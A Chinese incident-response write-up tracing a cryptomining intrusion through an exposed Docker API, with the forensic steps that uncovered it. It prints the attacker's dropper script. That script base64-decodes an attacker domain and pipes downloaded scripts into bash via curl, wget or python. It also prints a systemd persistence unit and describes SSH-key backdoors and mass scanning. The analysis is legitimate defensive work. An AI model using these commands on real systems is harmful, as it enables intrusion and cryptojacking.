门罗币挖矿应急(三)抽丝剥茧发现黑客脚本
2023-6-12 18:32:30 Author: 攻防之道(查看原文) 阅读量:58 收藏

当年第一次接触门罗币,还是用外星人PC 电脑日夜不停的挖门罗币,结果挖了一星期才挖到二十块,估计电费都不够,汗颜……

没想到今天又碰上了

源起

腾讯发来了短信告警,说有 xmrig 挖矿,最开始没注意,以为是我放在服务器上的frp 导致的误报,到了工位后详细看了下告警内容,发现不是frp对应的安装 路径,坏了,肯定被黑了,登上服务器紧急处理

处理过程

文件路径已经标在短信里了,很容易定位到,但是重点是怎么入侵的呢?

首先看下文件信息

根据change 时间可以大概判断,上传时间应该在这之前

2023-03-26 23:01:14.372920119 +0800

接下来看下这段时间前后的历史命令信息

history |grep 2023-03-26

悲催了,根本不存在,其它9点之前的信息都是26 号晚上的正常作业

无奈只能大海捞针,翻一翻这段时间前后的文件访问记录了

find / -newermt '2023-03-26' ! -newermt '2023-03-27'

完蛋,当晚很多docker 相关作业,这下都参杂在其中,先把docker 相关内容排除掉吧

这下清楚多了,但是看不到具体的访问日期,再次调整下搜索命令

find / -newermt '2023-03-26' ! -newermt '2023-03-27' |grep -v "docker" |grep -v "containerd" |xargs ls -ldtr

这次舒服多了,一条条记录来吧【记录太多,直接放在本地查看】

/var/spool/postfix/maildrop/ED4EF6026A

内容如下

看起来是个定时任务失败产生的告警记录,下面这段内容值得注意下

print urllib2.urlopen('http://s.\\n\\a-c\\s.c\\o\m/t.sh').read()" >.1;

去掉反斜杠获取到的URL 信息如下

http://s.na-cs[.]com/t.sh

t.sh 的文件内容贴出来了【省略了部分内容,重点关注下面几行】

这个脚本作用很简单就是从刚才的服务器上下载文件 arcc.sh

然后执行

#!/bin/bash#variablesdomain=$(echo cy5uYS1jcy5jb20K|base64 -d)mainurl=$(echo aHR0cDovL3MubmEtY3MuY29tL2IyZjYyOAo=|base64 -d)
CSIZE=$(du -sk ${CURL_CMD}|awk '{print $1}')WSIZE=$(du -sk ${WGET_CMD}|awk '{print $1}')if [ "$(id -u)" = "0" ];then if (( "$CSIZE" > 100 )) then ${CURL_CMD} -fsSL ${mainurl}/d/arcc.sh |bash elif (( "$WSIZE" > 100 )) then ${WGET_CMD} -q -O- ${mainurl}/d/arcc.sh |bash else python -c "import urllib2; print urllib2.urlopen('${mainurl}/d/arcc.sh').read()" >/tmp/arcc.sh;chmod +x /tmp/arcc.sh;bash /tmp/arcc.sh fielse if (( "$CSIZE" > 100 )) then ${CURL_CMD} -fsSL ${mainurl}/d/ai.sh |bash elif (( "$WSIZE" > 100 )) then ${WGET_CMD} -q -O- ${mainurl}/d/ai.sh |bash else python -c "import urllib2; print urllib2.urlopen('${mainurl}/d/ai.sh').read()" >/tmp/ai.sh;chmod +x /tmp/ai.sh;bash /tmp/ai.sh fifi

arcc.sh    文件内容跟上一个脚本差不多,不过这次安装的东西更多了

原来设置了不记录历史命令,难怪差不到

添加ssh 公钥访问,维持权限

清楚各种云平台的监控告警【不过应该失败了,文章开头已经说过了,腾讯发现门罗币的挖矿脚本】

最终来到下载门罗币脚本的的函数

此外还设置了服务启动

挖矿程序运行中,同时设置了开机启动

接着往下走

最骚的是,他们把wget 、curl 都改了名字,估计是想隐藏下载记录把

同时也能对应上 文件的访问记录

后面通过yum 下载了一堆软件

跳过yum 的各种下载,发现有一个可疑的文件下载

解压后发现就是个 masscan,估计是要拿我的服务器当肉鸡再去扫别人了

接下来还有一个pnscan ,又是一个扫描器,还是20 年前的扫描器,果然好东西不怕老,不管黑猫白猫能逮到老鼠就是好猫。

20年前的扫描器,也是没谁了

比较奇怪的是这个httpd ,如果不仔细看还真容易错误,以为是 apache 的估计大有人才,但是他这里用了 . 开头的隐藏目录

进入 .http 目录发下有一个隐藏文件的小技巧,直接新建了一个三个点的目录,直呼666

目录下只有一个httpd 文件(其实还有一个隐藏文件,此目录下临时文件太多就不展示了)

http 是个通过下载恶意脚本,执行redis 扫描的

其中设置了三个backup ,又是狡兔三窟的老手段了,作用就是为了保活,持续下载t.sh脚本,持续最开始的流程

下面的几个服务,都是针对http 进行持久化控制的

真正做到了狡兔三窟,zzhr、zzhd、zzhh 三个服务的内容都一样,都是控制httpd 脚本的启停,其中一个内容如下

cat /etc/systemd/system/zzhd.service[Service]ExecStart=/var/.httpd/.../httpdWorkingDirectory=/var/.httpd/...Restart=always RestartSec=30[Install]WantedBy=default.target

通过上面的日志可以看到已经有16777216 的主机在被扫队列中

这里的zgrab 也是个扫描器,通过扫描2375、2376 来入侵docker 服务

具体怎么入侵,请参考系列文章 《门罗币挖矿应急(四)入侵过程复现》

至此,整个入侵的流程脉络已经很清晰了

  1. 2023-03-26 19:06:57    我方开发人员开启了docker 2375 端口

  2. 2023-03-26 23:00:00    服务器被挖矿木马扫到2375 端口并利用

  3. 2023-03-26 23:01:00    下载t.sh、arcc.sh 等脚本进行自动化控制

  4. 2023-03-26 23:01:30    通过脚本设置了ssh 公钥进行权限维持

  5. 2023-03-26 23:04:00    各种基本软件安装完毕、并安装了多个扫描器

  6. 2023-03-26 23:05:00    启动httpd 服务,其中包含各个扫描器等,循环往复,再去扫描其它机器的端口

可以看到整个流程下来,入侵如德芙一样丝滑,从开启端口到做完一系列操作进而持续扫描入侵其它机器,仅用了不到4小时,安全警钟长鸣,丝毫不可大意。

资料领取方式:
  1. 关注"攻防之道" 公众号
  2. 回复 “门罗币” 获取下载链接

文章来源: http://mp.weixin.qq.com/s?__biz=MzIyNDcwODgwMA==&mid=2247485191&idx=1&sn=6fe6a14eb5fd97ca0ed6188804818bf3&chksm=e80b96a8df7c1fbebdbf9bdf7d97613fe4eb938f5faf8f4a8a7e505c9bb4c025185632cd4d32#rd
如有侵权请联系:admin#unsafe.sh